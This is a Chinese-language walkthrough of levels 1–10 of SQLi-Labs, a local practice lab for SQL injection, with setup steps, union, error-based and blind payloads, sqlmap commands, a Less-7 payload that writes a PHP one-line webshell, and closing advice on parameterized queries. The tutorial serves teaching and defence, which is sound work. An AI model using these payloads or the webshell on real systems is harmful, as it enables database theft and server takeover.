1. 从靶场到实战：为什么SQL-Labs是每个安全从业者的必修课

如果你刚开始接触Web安全，或者想系统性地夯实SQL注入这项核心技能，那么“SQL-Labs”这个靶场绝对是你绕不开的起点。它不像一些综合靶场那样庞杂，而是精准地聚焦于SQL注入这一单一漏洞类型，通过精心设计的关卡，由浅入深地带你走完从基础原理到高级利用的完整路径。我当年入门时，就是靠着一个个通关SQL-Labs，才真正把书本上那些抽象的“联合查询”、“报错注入”、“布尔盲注”概念，变成了手指肌肉记忆般的实操能力。今天，我就结合自己通关和后来带新人复盘的经验，把前10关的详细通关思路、踩过的坑以及那些教程里不会写的“骚操作”整理出来。无论你是正在备战CTF比赛的学生，还是希望提升代码审计能力的开发者，或是想入门渗透测试的安全爱好者，这篇详解都能给你提供一条清晰的、可复现的学习路线。

2. 环境准备与靶场搭建：磨刀不误砍柴工

在开始“闯关”之前，一个稳定、可控的实验环境是首要前提。SQL-Labs靶场本质上是一个用PHP和MySQL搭建的、包含多种注入漏洞类型的Web应用。直接在网上找在线的靶场虽然方便，但往往有访问限制或环境不纯净。我强烈建议你在本地搭建，这样你可以随意修改代码、查看数据库、复现问题，学习效果天差地别。

2.1 本地环境一键部署方案

最省心的方式是使用集成环境。XAMPP或PHPStudy这类工具是首选，它们把Apache、PHP、MySQL和phpMyAdmin都打包好了，解压即用。以PHPStudy为例，下载安装后，启动Apache和MySQL服务。接着，去GitHub上搜索“SQLi-Labs”，把项目源码下载下来，解压到PHPStudy的WWW根目录（比如D:\phpstudy_pro\WWW\）下，重命名为一个简单的文件夹，比如sqli-labs。

然后，打开浏览器访问http://localhost/sqli-labs/。页面通常会提示你点击链接来安装数据库。点击后，脚本会自动创建所需的数据库（security）和表（users,emails等），并插入测试数据。如果页面显示“Database connected successfully”，那么恭喜你，环境搭建成功。如果遇到问题，最常见的原因是MySQL服务没启动，或者数据库配置（用户名、密码）不匹配。PHPStudy默认的MySQL用户名是root，密码是root，你需要检查SQLi-Labs源码里的数据库连接文件（通常是sql-connections/db-creds.inc），确保其中的配置一致。

注意：永远不要在公网服务器上部署这种带有已知漏洞的靶场，即使你觉得自己已经做好了隔离。我曾见过有人把DVWA或SQL-Labs部署在云服务器上练手，结果因为配置不当，服务器成了“肉鸡”。本地环境是最安全的选择。

2.2 核心工具与浏览器配置

工欲善其事，必先利其器。除了浏览器，你还需要几个趁手的工具。

1. 浏览器开发者工具：这是你最重要的“眼睛”。按F12打开，重点关注Network（网络）和Console（控制台）标签页。Network标签可以让你看到每次点击或提交表单时，浏览器实际发送的HTTP请求，这对于理解GET/POST参数传递至关重要。Console标签则能显示JavaScript错误，有时页面功能异常可能是前端JS问题，先排除它。

2. Burp Suite：安全测试的“瑞士军刀”。社区版就足够用于SQL-Labs的学习。它的Proxy（代理）和Repeater（重放器）功能是神器。通过配置浏览器代理（如127.0.0.1:8080）经过Burp，你可以拦截、查看、修改每一个发往靶场的HTTP请求，然后手动构造各种注入Payload进行测试，比在浏览器地址栏里拼接方便、清晰得多。

3. HackBar浏览器插件：一个轻量级但非常实用的工具。它可以方便地在浏览器内对URL进行编码（URL编码、Base64等）、快速构造请求，对于需要频繁变换Payload的关卡来说，能极大提升效率。

我个人的工作流通常是：先用浏览器正常访问靶场，理解页面功能；遇到需要测试的输入点，打开Burp Suite代理拦截请求，将请求发送到Repeater模块；然后在Repeater里修改参数，进行注入测试。这样既能清晰地看到原始请求和响应，又能方便地保存和对比不同Payload的结果。

3. 核心原理与注入类型前置课

在动手之前，花十分钟理解核心原理，能让你后面的操作不再是“蒙和猜”。SQL注入的本质，是用户输入的数据被当作SQL代码的一部分执行了。

想象一下，后端PHP代码原本想执行这样一条查询语句：

$sql = "SELECT * FROM users WHERE id = '$id'";

如果$id这个变量直接从用户输入（比如$_GET[‘id’]）获取，且没有经过任何处理，那么当用户输入1' or '1'='1时，拼接后的SQL语句就变成了：

SELECT * FROM users WHERE id = '1' or '1'='1'

WHERE条件变成了永远为真，这就导致查询返回了所有用户数据，造成了注入。

SQL-Labs前10关，系统地覆盖了几种最基础的注入场景和利用方式：

• 按参数类型分：

  • 字符型（String）：参数被单引号‘ ’包裹。如WHERE id=‘$id’。你需要闭合前面的引号，才能插入自己的SQL代码。
  • 数字型（Integer/Numeric）：参数没有被引号包裹。如WHERE id=$id。这种情况下，通常可以直接注入，无需考虑引号闭合。

• 按注入利用方式分（前10关涉及）：

  • 联合查询注入（Union Based）：最直观、信息获取效率最高的一种。利用UNION操作符，将恶意查询的结果拼接到原始查询结果中，直接在页面上显示出来。
  • 报错注入（Error Based）：利用数据库执行某些特殊函数或语句时会报错，并将错误信息（其中可能包含我们想要的数据）回显到页面上的特性。比如updatexml()，extractvalue()等函数。
  • 布尔盲注（Boolean Blind）：页面没有直接的数据回显，也没有详细的报错信息，但会根据我们注入的SQL语句执行结果的真（True）或假（False），返回不同的页面状态（如“存在”或“不存在”）。我们需要像“猜数字”一样，通过一系列True/False问题来逐位推断数据。
  • 时间盲注（Time Blind）：这是布尔盲注的“升级版”。页面连True/False的明显状态变化都没有。我们通过注入让数据库执行延时函数（如sleep(5)），然后根据页面响应时间是否延迟，来判断注入条件是否成立。

理解这些分类，就像拿到了一张地图，你知道每一关大概在考察哪个知识点，解题方向就清晰了。

4. 通关详解：第1关 - 第5关（基础入门与联合查询）

这五关是给你“找感觉”的，重点是熟悉靶场界面、判断注入点、理解引号闭合，并掌握最经典的联合查询注入流程。

4.1 第1关：GET - 单引号字符型注入

访问http://localhost/sqli-labs/Less-1/。页面通常有一个输入框，让你输入User ID。

第一步：判断注入点与类型输入1，正常返回ID为1的用户信息。输入1‘（一个数字加一个单引号）。如果页面出现SQL语法错误，比如You have an error in your SQL syntax...，这强烈暗示存在注入点，并且是字符型注入，因为我们的单引号破坏了原语句的引号闭合。

输入1‘ and ‘1’=‘1和1‘ and ‘1’=‘2。如果前者返回正常，后者返回异常（或无结果），则进一步确认注入存在且可被布尔逻辑控制。

第二步：探测字段数为了使用UNION查询，我们必须知道原始查询语句SELECT了多少个字段。这里使用ORDER BY子句。在输入框尝试：

1' order by 1--+ 1' order by 2--+ 1' order by 3--+ 1' order by 4--+

--+是注释符（--后面有个空格，+在URL中代表空格），用于注释掉原SQL语句中我们后面的部分。当尝试order by 4时页面报错，而order by 3正常，说明原始查询有3个字段。

第三步：联合查询获取信息现在构造联合查询。首先让原查询不返回结果（例如id=-1‘），这样页面上显示的就全是我们UNION查询的结果。

-1' union select 1,2,3--+

提交后，观察页面原本显示用户名、密码的地方，现在变成了数字2和3。这说明页面的第二、三列位置可以回显我们查询的数据。

第四步：获取数据库信息利用可回显的位置，替换select后的内容。

-1' union select 1, database(), version()--+

这会在第二列显示当前数据库名，第三列显示数据库版本。对于MySQL，你可以继续获取更多信息：

-1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

这条语句会列出当前数据库中的所有表名。假设看到有users表，接下来爆字段：

-1' union select 1, group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--+

最后，提取数据：

-1' union select 1, group_concat(username), group_concat(password) from users--+

至此，第一关通关。核心思路就是：判断类型 -> 确定字段数 -> 找显示位 -> 逐步获取库、表、列、数据。

4.2 第2关：GET - 数字型注入

访问Less-2。步骤与第一关类似，但当你输入1‘时，可能发现页面依然正常，没有语法错误。这时尝试输入1 and 1=1和1 and 1=2。如果前者正常后者异常，则说明是数字型注入，参数没有被引号包裹。

后续步骤完全一样，只是构造Payload时不需要闭合单引号。例如：

-1 union select 1,2,3--+

数字型注入通常比字符型更简单，因为你少了一个闭合引号的步骤。

4.3 第3关：GET - 单引号加括号型注入

Less-3的页面看起来和前两关一样，但当你用第一关的Payload测试时，可能会得到奇怪的错误。输入1‘后，错误信息可能包含“1”)‘这样的提示。这暗示原始SQL语句可能是这样的：

SELECT * FROM users WHERE id=('$id')

我们的输入被放在了括号和单引号内。所以，我们需要同时闭合单引号和括号。Payload构造变为：

1')--+

后续的order by和union select都需要在此基础上构造：

-1') union select 1,2,3--+

这一关的关键在于仔细阅读报错信息，它会给你关于原始SQL语句结构的宝贵线索。

4.4 第4关：GET - 双引号加括号型注入

Less-4是Less-3的“变种”。当你输入1‘时正常，输入1“时却报错了。这说明参数是被双引号和括号包裹的：(“$id”)。因此，闭合方式变为：

1")--+

后续的Payload示例：

-1") union select 1,2,3--+

从这关开始，你需要养成习惯：先尝试单引号，再尝试双引号，并仔细观察报错信息的差异。

4.5 第5关：GET - 单引号字符型报错注入

从Less-5开始，画风变了。无论你输入什么ID，页面都只显示一句固定的提示语（比如“You are in...”），不再回显具体的数据库数据。这就是所谓的“盲注”场景。但这一关给了我们一条“捷径”——报错注入。

报错注入原理：虽然页面不显示正常查询结果，但如果SQL语句执行出错，错误信息有时会打印到页面上。我们可以利用数据库的一些特殊函数，故意制造错误，并将我们想查询的数据“夹带”在错误信息中输出。

利用updatexml()函数： 这个函数用于更新XML文档，但如果我们传递给它的XPath路径格式错误，它就会报错。我们可以利用这个特性。首先，还是需要判断闭合方式（这里是单引号字符型）。

1' and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)--+

• 0x7e是波浪号~的十六进制，作为一个分隔符，让错误信息更易读。
• (select database())是我们想执行的子查询。
• concat()函数将字符串拼接起来。

执行后，页面会返回一个XPATH语法错误，但错误信息中会包含~database_name~这样的内容，其中database_name就是当前数据库名。

类似地，可以获取表名、列名：

1' and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1)--+

实操心得：报错注入有长度限制（通常约32个字符），如果查询结果太长（比如表名很多），updatexml可能无法完全显示。这时可以用substr()或mid()函数分段截取。例如：...substr((select group_concat(table_name) ...), 1, 30)...来获取前30个字符。

5. 通关详解：第6关 - 第10关（盲注与POST注入）

这五关引入了更复杂的场景，包括双引号盲注、POST请求注入，以及纯粹的布尔盲注和时间盲注，挑战性显著增加。

5.1 第6关：GET - 双引号字符型报错注入

Less-6和Less-5几乎一样，唯一的区别是闭合方式从单引号变成了双引号。所以Payload的构造只需改变注释前的部分：

1" and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)--+

如果你已经掌握了通过报错信息判断闭合方式的技巧，这一关就是小菜一碟。

5.2 第7关：GET - 导出文件注入

Less-7的提示语变成了“Use outfile......”，这强烈暗示本关考察的是into outfile操作。这种注入的目的是让数据库将查询结果写入服务器上的一个文件，通常用于写入Webshell。

前提条件：

1. 数据库用户需要有FILE权限。
2. 需要知道Web目录的绝对路径（如/var/www/html/）。
3. secure_file_priv系统变量不能设置为NULL（在MySQL 5.5+版本中默认限制文件导出目录）。

首先，还是判断闭合。这一关的闭合比较特殊，经过测试是‘))。所以Payload基础结构是1‘))--+。

然后，尝试导出文件。假设我们知道网站根目录是D:/phpstudy_pro/WWW/sqli-labs/，我们可以尝试写入一个一句话PHP木马：

1‘)) union select 1, "<?php @eval($_POST[‘cmd‘]);?>", 3 into outfile ‘D:/phpstudy_pro/WWW/sqli-labs/shell.php‘--+

如果执行成功，访问http://localhost/sqli-labs/shell.php，然后用中国菜刀或蚁剑等工具连接（密码为cmd），即可获取服务器权限。

重要警告：此操作仅限本地靶场学习！在未经授权的真实环境中尝试文件写入是严重的违法行为。在本地测试时，也要确保你的MySQL配置允许文件导出（secure_file_priv为空或指向特定目录）。

5.3 第8关：GET - 单引号布尔盲注

Less-8是一个典型的布尔盲注关卡。页面只有两种状态：输入正确时显示“You are in...”，输入错误时页面空白或显示不同内容，但没有详细的SQL错误信息。我们无法直接看到数据，只能通过页面反应的“是”或“否”来推断。

手工盲注思路（以猜解数据库名第一个字符为例）： 布尔盲注的核心是使用substr()或ascii()函数，逐位比较。

1. 猜解数据库名长度：

   1‘ and length(database())=1--+ （如果页面正常，则长度为1，否则继续尝试2,3,4...）

   假设最终测得长度为8。
2. 猜解数据库名第一个字符的ASCII码：

   1‘ and ascii(substr(database(),1,1))>97--+ （判断是否大于‘a’的ASCII码）

   通过不断调整比较的数值（可以用二分法：>128? >64? ...），最终确定第一个字符的ASCII码是100，对应字母 ‘d’。
3. 重复步骤2，猜解第二个、第三个...字符。

这个过程极其繁琐，手工操作几乎不可能完成全部数据的猜解。因此，自动化工具是布尔盲注的必备品。

使用SQLMap进行自动化布尔盲注： SQLMap是一个开源的自动化SQL注入工具，它能极大地提升盲注效率。

sqlmap -u “http://localhost/sqli-labs/Less-8/?id=1” --technique=B --batch --dbs

• -u：指定目标URL。
• --technique=B：指定使用布尔盲注技术。
• --batch：以非交互模式运行，自动选择默认选项。
• --dbs：枚举所有数据库。

SQLMap会自动发送大量精心构造的请求，通过页面差异判断True/False，最终爆出所有数据。虽然工具强大，但理解其背后的手工原理是必不可少的，否则你只是一个“脚本小子”，遇到工具无法处理的复杂过滤场景就会束手无策。

5.4 第9关：GET - 单引号时间盲注

Less-9是时间盲注，这是最“隐蔽”也最考验耐心的一种。页面无论你输入什么，返回的内容看起来都完全一样，没有任何差异。这时，if()函数和sleep()函数就成了我们的武器。

时间盲注原理：我们构造一个注入语句，如果条件为真，就让数据库睡眠（延迟）几秒；如果条件为假，则立即返回。通过观察页面响应时间的长短，来判断条件是否成立。

手工测试Payload：

1‘ and if(1=1, sleep(5), 0)--+

等待约5秒后页面才加载完成，说明注入成功，且1=1为真，执行了sleep(5)。

1‘ and if(1=2, sleep(5), 0)--+

页面立即返回，说明1=2为假，执行了0。

猜解数据： 猜解数据库名第一个字符是否为 ‘d‘：

1‘ and if(ascii(substr(database(),1,1))=100, sleep(5), 0)--+

如果页面延迟5秒，说明ASCII码等于100，即第一个字符是 ‘d‘。

时间盲注比布尔盲注更慢，因为每个判断都需要等待睡眠时间。自动化工具同样是必须的。SQLMap命令类似，只需指定时间盲注技术：

sqlmap -u “http://localhost/sqli-labs/Less-9/?id=1” --technique=T --batch --dbs

• --technique=T：指定使用时间盲注技术。

5.5 第10关：GET - 双引号时间盲注

Less-10是Less-9的“双引号”版本。闭合方式变为双引号，其他原理和操作与第九关完全一致。Payload示例：

1“ and if(ascii(substr(database(),1,1))=100, sleep(5), 0)--+

掌握了单引号时间盲注，这一关只是改个符号而已。

6. 常见问题、排查技巧与防御思考

通关过程中，你肯定会遇到各种“坑”。这里我总结了一些典型问题和解决方法，以及从攻击者视角回归开发者视角的防御思考。

6.1 常见错误与排查清单

6.2 从攻击到防御：开发者该如何做？

作为安全从业者，我们学习攻击技术的最终目的，是为了更好地防御。通过这10关，你应该深刻理解了SQL注入产生的根源：不可信的用户输入，未经处理就直接拼接到了SQL语句中。

根本的防御方案就是“参数化查询”（Prepared Statements）： 这是目前最有效、最推荐的防御方式。它要求SQL语句的模板（结构）与数据（参数）分离。数据库引擎会先编译SQL结构，再将用户输入的数据纯粹当作“参数”来处理，即使参数中包含SQL关键字，也不会被解释为代码。

以PHP的PDO为例：

// 不安全的动态拼接 $stmt = $pdo->query(“SELECT * FROM users WHERE id = ‘“ . $_GET[‘id’] . “‘“); // 安全的参数化查询 $stmt = $pdo->prepare(“SELECT * FROM users WHERE id = :id”); $stmt->execute([‘:id’ => $_GET[‘id’]]);

在参数化查询中，$_GET[‘id’]即使包含1‘ or ‘1’=‘1，也只会被当作一个普通的字符串值去匹配id字段，而不会改变SELECT * FROM users WHERE id = ?这个查询结构本身。

其他辅助防御措施：

1. 输入验证与过滤：对输入进行严格的类型检查（如ID必须是整数）、长度限制、格式白名单验证。但这只能作为辅助手段，不能替代参数化查询。
2. 最小权限原则：给数据库操作账户分配最小的必要权限。比如一个只用于查询的Web应用，就不要给它DROP,INSERT,FILE等权限。
3. 错误信息处理：生产环境务必关闭详细的数据库错误回显，避免给攻击者提供信息。使用自定义的错误页面。
4. Web应用防火墙：部署WAF可以在网络层面拦截大量已知的、模式化的注入攻击。

通关SQL-Labs的前10关，就像是完成了一次SQL注入的“基础驾驶培训”。你知道了车有哪些部件（注入类型），学会了基本的启动、转向和刹车（判断、闭合、联合查询），也体验了在不同路况下驾驶的感觉（报错、盲注）。但这仅仅是开始。后续的关卡会引入更复杂的过滤、绕过的技巧，这需要你更深入地理解数据库特性、编码和正则表达式。我的建议是，在进入更高级的关卡前，不妨用你学到的知识，去审计一段简单的、存在SQL注入漏洞的源代码，或者尝试在CTF题目中独立解决一道中等难度的SQL注入题。只有把靶场里学到的“套路”转化为解决新问题的“能力”，你的学习才算真正落地。